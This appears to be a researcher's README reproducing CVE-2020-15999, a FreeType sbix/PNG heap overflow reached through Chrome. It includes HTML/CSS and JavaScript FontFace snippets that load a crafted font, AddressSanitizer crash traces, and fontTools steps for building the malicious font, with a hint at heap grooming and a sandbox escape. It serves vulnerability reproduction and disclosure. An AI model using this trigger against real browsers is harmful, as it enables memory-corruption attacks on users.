# CVE-2020-15999
CVE-2020-15999

Added font with SBIX table (based on Arial) - https://docs.microsoft.com/en-us/typography/opentype/spec/sbix

Crashes in ftview (asan.png) but somehow cannot bring Chrome to crash

Flags are also not correctly set so load_sbit_image() is also not called. Weird.

Calling it like this:

index.html
```
<html>
    <head>
        
        <link rel="stylesheet" href="style.css" type="text/css" media="all" />
        
        <style>

            .sample {
                font-family: 'UntitledTTF';
                border: 1px solid #ddd;
                display: inline-block;
                padding: 10px;
            }
        </style>
    </head>
    <body>

        <p class="sample">
            The quick brown fox jumps over the lazy dog
        </p>

    </body>
</html>
```

stlye.css
```
@font-face {
  font-family: "UntitledTTF";
  src: url("./fonts/font.eot"); /* IE9 Compat Modes */
  src: url("./fonts/font.eot?#iefix") format("embedded-opentype"), /* IE6-IE8 */
    url("./fonts/font.svg") format("svg"), /* Legacy iOS */
    url("./fonts/arialnew.ttf.sbix.ttf") format("truetype"), /* Safari, Android, iOS */
    url("./fonts/font.woff") format("woff"), /* Modern Browsers */
    url("./fonts/font.woff2") format("woff2"); /* Modern Browsers */
  font-weight: normal;
  font-style: normal;
}
.adjust {
    font-size-adjust: 2;
}
```

Maybe somebody knows how to tigger it, has more luck. If not I will wait for writeup from Google.

## Update 1

Managed to get Chrome to crash ... had to tune some font params in the debugger, which means you can possibly do it also in the font. Stay tuned.
![CVE-2020-15999](chrome-asan-heap-overflow.png)

## Update 2

This should trigger it (Google PoC). I see font is loaded via JavaScript, so differently than my attempt:

https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472035

Will debug it as I have time...

## Update 3

Did all the prior debugging with Chromium, seems like the codebase differ then. That could explain a ot.

With Chrome, PoC from Google works: https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=472398

With Chromium does not.

Seems like it stops at several checks. If I set them to pass, it then crashes with all PoCs:

```
Received signal 11 SEGV_MAPERR 000000000000
    #0 0x55555d7ace0b in backtrace /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:4176:13
    #1 0x7ffff796c8df in base::debug::CollectStackTrace(void**, unsigned long) ./../../base/debug/stack_trace_posix.cc:833:39
    #2 0x7ffff7247239 in base::debug::StackTrace::StackTrace(unsigned long) ./../../base/debug/stack_trace.cc:198:12
    #3 0x7ffff7247098 in base::debug::StackTrace::StackTrace() ./../../base/debug/stack_trace.cc:195:28
    #4 0x7ffff796ae6d in base::debug::(anonymous namespace)::StackDumpSignalHandler(int, siginfo_t*, void*) ./../../base/debug/stack_trace_posix.cc:345:3
    #5 0x7fff555c48a0 in __funlockfile ??:?
    #6 0x7fff555c48a0 in ?? ??:0
    #7 0x7fff51cfd5ee in ?? /build/glibc-2ORdQG/glibc-2.27/string/../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:277:0
    #8 0x55555d7efca2 in __asan_memcpy /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:22:3
    #9 0x7fffa01df08f in read_data_from_FT_Stream ./../../third_party/freetype/src/src/sfnt/pngshim.c:245:5
    #10 0x7fffa0865f6d in cr_png_read_data ./../../third_party/libpng/pngrio.c:37:7
    #11 0x7fffa08927b0 in cr_png_read_sig ./../../third_party/libpng/pngrutil.c:137:4
    #12 0x7fffa0852e02 in cr_png_read_info ./../../third_party/libpng/pngread.c:104:4
    #13 0x7fffa01dd6a3 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:322:5
    #14 0x7fffa01d9440 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1548:15
    #15 0x7fffa01aa6d7 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1611:15
    #16 0x7fffa0246ddb in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #17 0x7fffa0244f77 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #18 0x7fffa020467e in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #19 0x7fffa005ff2f in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
```

##  Update 4

Naah ... all is correct.

To trigger you need to load font via JavaScript, loading via CSS does not work:

i.e

```

<body>
<script>
font_face = new FontFace('fontname','url("./fonts/font.ttf")');
font_face.load().then(() => {
  document.fonts.add(font_face);
  document.body.style.fontFamily = 'fontname';
  document.body.textContent = 'B';
});
</script> </body>
```

Font from initial Google PoC works. Below is output from Chromium.


```
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000189710 at pc 0x7fffa089f49d bp 0x7fff26d6b160 sp 0x7fff26d6b158
WRITE of size 4 at 0x602000189710 thread T8 (CompositorTileW)
    #0 0x7fffa089f49c in cr_png_combine_row ./../../third_party/libpng/pngrutil.c:3580:36
    #1 0x7fffa085567c in cr_png_read_row ./../../third_party/libpng/pngread.c:599:10
    #2 0x7fffa0855dee in cr_png_read_image ./../../third_party/libpng/pngread.c:753:10
    #3 0x7fffa01e36db in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:440:5
    #4 0x7fffa01dcb94 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1546:15
    #5 0x7fffa01aa5b8 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1628:15
    #6 0x7fffa024702a in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #7 0x7fffa02451c6 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #8 0x7fffa02048cd in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #9 0x7fffa005fe0e in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
    #10 0x7ffff0a3c198 in SkScalerContext_FreeType::generateImage(SkGlyph const&) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:1365:20
    #11 0x7ffff21e5832 in SkScalerContext::getImage(SkGlyph const&) ./../../third_party/skia/src/core/SkScalerContext.cpp:572:9
    #12 0x7ffff1c6fd2c in SkGlyph::setImage(SkArenaAlloc*, SkScalerContext*) ./../../third_party/skia/src/core/SkGlyph.cpp:89:24
    #13 0x7ffff21d28fc in SkScalerCache::prepareImage(SkGlyph*) ./../../third_party/skia/src/core/SkScalerCache.cpp:109:16
    #14 0x7ffff21d7a0e in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1::operator()(unsigned long, SkGlyphDigest, SkPoint) const ./../../third_party/skia/src/core/SkScalerCache.cpp:185:45
    #15 0x7ffff21d4903 in unsigned long SkScalerCache::commonFilterLoop<SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1>(SkDrawableGlyphBuffer*, SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1&&) ./../../third_party/skia/src/core/SkScalerCache.cpp:171:17
    #16 0x7ffff21d40e5 in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkScalerCache.cpp:181:26
    #17 0x7ffff1c8f82d in SkStrikeCache::Strike::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkStrikeCache.h:103:44
    #18 0x7ffff1c8b3dd in SkGlyphRunListPainter::drawForBitmapDevice(SkGlyphRunList const&, SkMatrix const&, SkGlyphRunListPainter::BitmapDevicePainter const*) ./../../third_party/skia/src/core/SkGlyphRunPainter.cpp:130:21
    #19 0x7ffff1be0437 in SkDraw::drawGlyphRunList(SkGlyphRunList const&, SkGlyphRunListPainter*) const ./../../third_party/skia/src/core/SkDraw_text.cpp:135:19
    #20 0x7ffff1a7bf87 in SkBitmapDevice::drawGlyphRunList(SkGlyphRunList const&) ./../../third_party/skia/src/core/SkBitmapDevice.cpp:549:5
    #21 0x7ffff1c827aa in SkGlyphRunBuilder::drawTextBlob(SkPaint const&, SkTextBlob const&, SkPoint, SkBaseDevice*) ./../../third_party/skia/src/core/SkGlyphRun.cpp:202:17
    #22 0x7ffff1b17e83 in SkCanvas::onDrawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2616:34
    #23 0x7ffff1b18aef in SkCanvas::drawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2650:11
    #24 0x7fffee7f245f in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111::operator()(SkCanvas*, SkPaint const&) const ./../../cc/paint/paint_op_buffer.cc:1629:8
    #25 0x7fffee7d4b92 in void cc::PaintFlags::DrawToSk<cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111>(SkCanvas*, cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111) const ./../../cc/paint/paint_flags.h:168:7
    #26 0x7fffee7d4842 in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:1628:10
    #27 0x7fffee805fa5 in cc::Rasterizer<cc::DrawTextBlobOp, true>::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:135:5
    #28 0x7fffee7ea003 in cc::$_47::operator()(cc::PaintOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:170:51
    #29 0x7fffee7e9fbc in cc::$_47::__invoke(cc::PaintOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:170:51
    #30 0x7fffee7e1670 in cc::PaintOpWithFlags::RasterWithFlags(SkCanvas*, cc::PaintFlags const*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2402:3
    #31 0x7fffee7e55a6 in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&, std::__Cr::vector<unsigned long, std::__Cr::allocator<unsigned long> > const*) const ./../../cc/paint/paint_op_buffer.cc:2803:19
    #32 0x7fffee7d15a8 in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2663:3
    #33 0x7fffee7d3afd in cc::DrawRecordOp::Raster(cc::DrawRecordOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:1595:15
    #34 0x7fffee801285 in cc::Rasterizer<cc::DrawRecordOp, false>::Raster(cc::DrawRecordOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:122:5
    #35 0x7fffee7e905b in cc::$_14::operator()(cc::PaintOp const*, SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:156:64
    #36 0x7fffee7e9024 in cc::$_14::__invoke(cc::PaintOp const*, SkCanvas*, cc::PlaybackParams const&) ./../../cc/paint/paint_op_buffer.cc:156:64
    #37 0x7fffee7de2d1 in cc::PaintOp::Raster(SkCanvas*, cc::PlaybackParams const&) const ./../../cc/paint/paint_op_buffer.cc:2171:3
    #38 0x7fffee7e56de in cc::PaintOpBuffer::Playback(SkCanvas*, cc::PlaybackParams const&, std::__Cr::vector<unsigned long, std::__Cr::allocator<unsigned long> > const*) const ./../../cc/paint/paint_op_buffer.cc:2806:11
    #39 0x7fffee6f85dd in cc::DisplayItemList::Raster(SkCanvas*, cc::ImageProvider*) const ./../../cc/paint/display_item_list.cc:100:20
    #40 0x7fffcba5aae9 in cc::RasterSource::PlaybackDisplayListToCanvas(SkCanvas*, cc::ImageProvider*) const ./../../cc/raster/raster_source.cc:127:20
    #41 0x7fffcba5a72a in cc::RasterSource::PlaybackToCanvas(SkCanvas*, gfx::Size const&, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, cc::RasterSource::PlaybackSettings const&) const ./../../cc/raster/raster_source.cc:116:3
    #42 0x7fffcba56bf2 in cc::RasterBufferProvider::PlaybackToMemory(void*, viz::ResourceFormat, gfx::Size const&, unsigned long, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, gfx::ColorSpace const&, bool, cc::RasterSource::PlaybackSettings const&) ./../../cc/raster/raster_buffer_provider.cc:107:22
    #43 0x7fffcba48b36 in cc::OneCopyRasterBufferProvider::PlaybackToStagingBuffer(cc::StagingBuffer*, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, viz::ResourceFormat, gfx::ColorSpace const&, cc::RasterSource::PlaybackSettings const&, unsigned long, unsigned long) ./../../cc/raster/one_copy_raster_buffer_provider.cc:353:5
    #44 0x7fffcba45be3 in cc::OneCopyRasterBufferProvider::PlaybackAndCopyOnWorkerThread(gpu::Mailbox*, unsigned int, bool, gpu::SyncToken const&, cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, gfx::AxisTransform2d const&, gfx::Size const&, viz::ResourceFormat, gfx::ColorSpace const&, cc::RasterSource::PlaybackSettings const&, unsigned long, unsigned long) ./../../cc/raster/one_copy_raster_buffer_provider.cc:289:3
    #45 0x7fffcba454f0 in cc::OneCopyRasterBufferProvider::RasterBufferImpl::Playback(cc::RasterSource const*, gfx::Rect const&, gfx::Rect const&, unsigned long, gfx::AxisTransform2d const&, cc::RasterSource::PlaybackSettings const&, GURL const&) ./../../cc/raster/one_copy_raster_buffer_provider.cc:127:39
    #46 0x7fffcbcedfa0 in cc::(anonymous namespace)::RasterTaskImpl::RunOnWorkerThread() ./../../cc/tiles/tile_manager.cc:132:21
    #47 0x7fffe389b124 in content::CategorizedWorkerPool::RunTaskInCategoryWithLockAcquired(cc::TaskCategory) ./../../content/renderer/categorized_worker_pool.cc:430:28
    #48 0x7fffe3897ede in content::CategorizedWorkerPool::RunTaskWithLockAcquired(std::__Cr::vector<cc::TaskCategory, std::__Cr::allocator<cc::TaskCategory> > const&) ./../../content/renderer/categorized_worker_pool.cc:408:7
    #49 0x7fffe3897b50 in content::CategorizedWorkerPool::Run(std::__Cr::vector<cc::TaskCategory, std::__Cr::allocator<cc::TaskCategory> > const&, base::ConditionVariable*) ./../../content/renderer/categorized_worker_pool.cc:292:10
    #50 0x7fffe389bfe8 in content::(anonymous namespace)::CategorizedWorkerPoolThread::Run() ./../../content/renderer/categorized_worker_pool.cc:75:32
    #51 0x7ffff7891681 in base::SimpleThread::ThreadMain() ./../../base/threading/simple_thread.cc:75:3
    #52 0x7ffff79ff39e in base::(anonymous namespace)::ThreadFunc(void*) ./../../base/threading/platform_thread_posix.cc:87:13
    #53 0x7fff555b96da in start_thread /build/glibc-2ORdQG/glibc-2.27/nptl/pthread_create.c:463:0

0x602000189710 is located 28 bytes to the right of 4-byte region [0x6020001896f0,0x6020001896f4)
allocated by thread T8 (CompositorTileW) here:
    #0 0x55555d7f080d in malloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
    #1 0x7ffff0573607 in malloc_throw(unsigned long) ./../../skia/ext/SkMemory_new_handler.cpp:74:64
    #2 0x7ffff05732f8 in sk_malloc_flags(unsigned long, unsigned int) ./../../skia/ext/SkMemory_new_handler.cpp:122:14
    #3 0x7ffff0a44119 in sk_malloc_throw(unsigned long) ./../../third_party/skia/include/private/SkMalloc.h:59:12
    #4 0x7ffff0a2e448 in sk_ft_alloc(FT_MemoryRec_*, long) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:117:16
    #5 0x7fffa00967b9 in ft_mem_qalloc ./../../third_party/freetype/src/src/base/ftutil.c:75:15
    #6 0x7fffa0064b54 in ft_mem_alloc ./../../third_party/freetype/src/src/base/ftutil.c:54:25
    #7 0x7fffa00708d7 in ft_glyphslot_alloc_bitmap ./../../third_party/freetype/src/src/base/ftobjs.c:526:11
    #8 0x7fffa01e32f0 in Load_SBit_Png ./../../third_party/freetype/src/src/sfnt/pngshim.c:426:15
    #9 0x7fffa01dcb94 in tt_face_load_sbix_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1546:15
    #10 0x7fffa01aa5b8 in tt_face_load_sbit_image ./../../third_party/freetype/src/src/sfnt/ttsbit.c:1628:15
    #11 0x7fffa024702a in load_sbit_image ./../../third_party/freetype/src/src/truetype/ttgload.c:2429:13
    #12 0x7fffa02451c6 in TT_Load_Glyph ./../../third_party/freetype/src/src/truetype/ttgload.c:2834:15
    #13 0x7fffa02048cd in tt_glyph_load ./../../third_party/freetype/src/src/truetype/ttdriver.c:474:13
    #14 0x7fffa005fe0e in FT_Load_Glyph ./../../third_party/freetype/src/src/base/ftobjs.c:948:15
    #15 0x7ffff0a3c198 in SkScalerContext_FreeType::generateImage(SkGlyph const&) ./../../third_party/skia/src/ports/SkFontHost_FreeType.cpp:1365:20
    #16 0x7ffff21e5832 in SkScalerContext::getImage(SkGlyph const&) ./../../third_party/skia/src/core/SkScalerContext.cpp:572:9
    #17 0x7ffff1c6fd2c in SkGlyph::setImage(SkArenaAlloc*, SkScalerContext*) ./../../third_party/skia/src/core/SkGlyph.cpp:89:24
    #18 0x7ffff21d28fc in SkScalerCache::prepareImage(SkGlyph*) ./../../third_party/skia/src/core/SkScalerCache.cpp:109:16
    #19 0x7ffff21d7a0e in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1::operator()(unsigned long, SkGlyphDigest, SkPoint) const ./../../third_party/skia/src/core/SkScalerCache.cpp:185:45
    #20 0x7ffff21d4903 in unsigned long SkScalerCache::commonFilterLoop<SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1>(SkDrawableGlyphBuffer*, SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*)::$_1&&) ./../../third_party/skia/src/core/SkScalerCache.cpp:171:17
    #21 0x7ffff21d40e5 in SkScalerCache::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkScalerCache.cpp:181:26
    #22 0x7ffff1c8f82d in SkStrikeCache::Strike::prepareForDrawingMasksCPU(SkDrawableGlyphBuffer*) ./../../third_party/skia/src/core/SkStrikeCache.h:103:44
    #23 0x7ffff1c8b3dd in SkGlyphRunListPainter::drawForBitmapDevice(SkGlyphRunList const&, SkMatrix const&, SkGlyphRunListPainter::BitmapDevicePainter const*) ./../../third_party/skia/src/core/SkGlyphRunPainter.cpp:130:21
    #24 0x7ffff1be0437 in SkDraw::drawGlyphRunList(SkGlyphRunList const&, SkGlyphRunListPainter*) const ./../../third_party/skia/src/core/SkDraw_text.cpp:135:19
    #25 0x7ffff1a7bf87 in SkBitmapDevice::drawGlyphRunList(SkGlyphRunList const&) ./../../third_party/skia/src/core/SkBitmapDevice.cpp:549:5
    #26 0x7ffff1c827aa in SkGlyphRunBuilder::drawTextBlob(SkPaint const&, SkTextBlob const&, SkPoint, SkBaseDevice*) ./../../third_party/skia/src/core/SkGlyphRun.cpp:202:17
    #27 0x7ffff1b17e83 in SkCanvas::onDrawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2616:34
    #28 0x7ffff1b18aef in SkCanvas::drawTextBlob(SkTextBlob const*, float, float, SkPaint const&) ./../../third_party/skia/src/core/SkCanvas.cpp:2650:11
    #29 0x7fffee7f245f in cc::DrawTextBlobOp::RasterWithFlags(cc::DrawTextBlobOp const*, cc::PaintFlags const*, SkCanvas*, cc::PlaybackParams const&)::$_111::operator()(SkCanvas*, SkPaint const&) const ./../../cc/paint/paint_op_buffer.cc:1629:8

Thread T8 (CompositorTileW) created by T0 (chrome) here:
    #0 0x55555d7dac1a in pthread_create /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors.cpp:214:3
    #1 0x7ffff79fd55f in base::(anonymous namespace)::CreateThread(unsigned long, bool, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) ./../../base/threading/platform_thread_posix.cc:126:13
    #2 0x7ffff79fd050 in base::PlatformThread::CreateWithPriority(unsigned long, base::PlatformThread::Delegate*, base::PlatformThreadHandle*, base::ThreadPriority) ./../../base/threading/platform_thread_posix.cc:252:10
    #3 0x7ffff7890a36 in base::SimpleThread::StartAsync() ./../../base/threading/simple_thread.cc:51:13
    #4 0x7fffe3894ca3 in content::CategorizedWorkerPool::Start(int) ./../../content/renderer/categorized_worker_pool.cc:201:13
    #5 0x7fffe3bda67c in content::RenderThreadImpl::Init() ./../../content/renderer/render_thread_impl.cc:721:29
    #6 0x7fffe3bdd9cb in content::RenderThreadImpl::RenderThreadImpl(base::RepeatingCallback<void ()>, std::__Cr::unique_ptr<blink::scheduler::WebThreadScheduler, std::__Cr::default_delete<blink::scheduler::WebThreadScheduler> >) ./../../content/renderer/render_thread_impl.cc:571:3
    #7 0x7fffe3c65d83 in content::RendererMain(content::MainFunctionParams const&) ./../../content/renderer/renderer_main.cc:213:9
    #8 0x7fffe46bf6f6 in content::RunZygote(content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:498:14
    #9 0x7fffe46c04b6 in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char> > const&, content::MainFunctionParams const&, content::ContentMainDelegate*) ./../../content/app/content_main_runner_impl.cc:555:12
    #10 0x7fffe46c2e31 in content::ContentMainRunnerImpl::Run(bool) ./../../content/app/content_main_runner_impl.cc:882:10
    #11 0x7fffe46b934d in content::RunContentProcess(content::ContentMainParams const&, content::ContentMainRunner*) ./../../content/app/content_main.cc:372:36
    #12 0x7fffe46baca2 in content::ContentMain(content::ContentMainParams const&) ./../../content/app/content_main.cc:398:10
    #13 0x55555d82317f in ChromeMain ./../../chrome/app/chrome_main.cc:130:12
    #14 0x55555d822d71 in main ./../../chrome/app/chrome_exe_main_aura.cc:17:10
    #15 0x7fff51c63b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310:0

SUMMARY: AddressSanitizer: heap-buffer-overflow (/media/mk/20a08f3b-9772-4ce1-99e1-62ec090ae297/downloads/chromium2/src/out/Default/libfreetype_harfbuzz.so+0xc7949c)
Shadow bytes around the buggy address:
  0x0c0480029290: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c04800292a0: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fa
  0x0c04800292b0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fd
  0x0c04800292c0: fa fa fd fa fa fa fd fa fa fa 00 00 fa fa 00 fa
  0x0c04800292d0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 04 fa
=>0x0c04800292e0: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800292f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0480029330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1==ABORTING
```

## Update 5

Loading via CSS also works. You need to reference correct Glyph.


## Update 6

You can generate font with SBIX table and assign it to glyph using: FontTools

https://fonttools.readthedocs.io/en/latest/ttx.html

Example:

```
ttx -o  arialnew.ttf.sbix.ttf arialnew.ttf.sbix.ttx 
Compiling "arialnew.ttf.sbix.ttx" to "arialnew.ttf.sbix.ttf"...
Parsing 'GlyphOrder' table...
Parsing 'head' table...
Parsing 'hhea' table...
Parsing 'maxp' table...
Parsing 'OS/2' table...
Parsing 'hmtx' table...
Parsing 'LTSH' table...
Parsing 'VDMX' table...
Parsing 'hdmx' table...
Parsing 'cmap' table...
Parsing 'fpgm' table...
Parsing 'prep' table...
Parsing 'cvt ' table...
Parsing 'loca' table...
Parsing 'glyf' table...
Parsing 'kern' table...
Parsing 'name' table...
Parsing 'post' table...
Parsing 'gasp' table...
Parsing 'PCLT' table...
Parsing 'GDEF' table...
Parsing 'GSUB' table...
Parsing 'JSTF' table...
Parsing 'sbix' table...
Parsing 'DSIG' table...
```

Attached in this repo.

In this way you can create PNG you can groom the heap and do whatever you want to do with it, possibly take the execution flow and escaspe the Sandbox.

BTW Did this just for fun and spent very little time on these between breaks ... a motivated Attacker/Hacker would possibly have an exploit at this point. SO update your browsers folks.

All credits go to original researcher(s) (Google Project Zero, Sergei Glazunov) that found this vulnerability. I only tried to reproduce it based on limited information (before Google made it public)
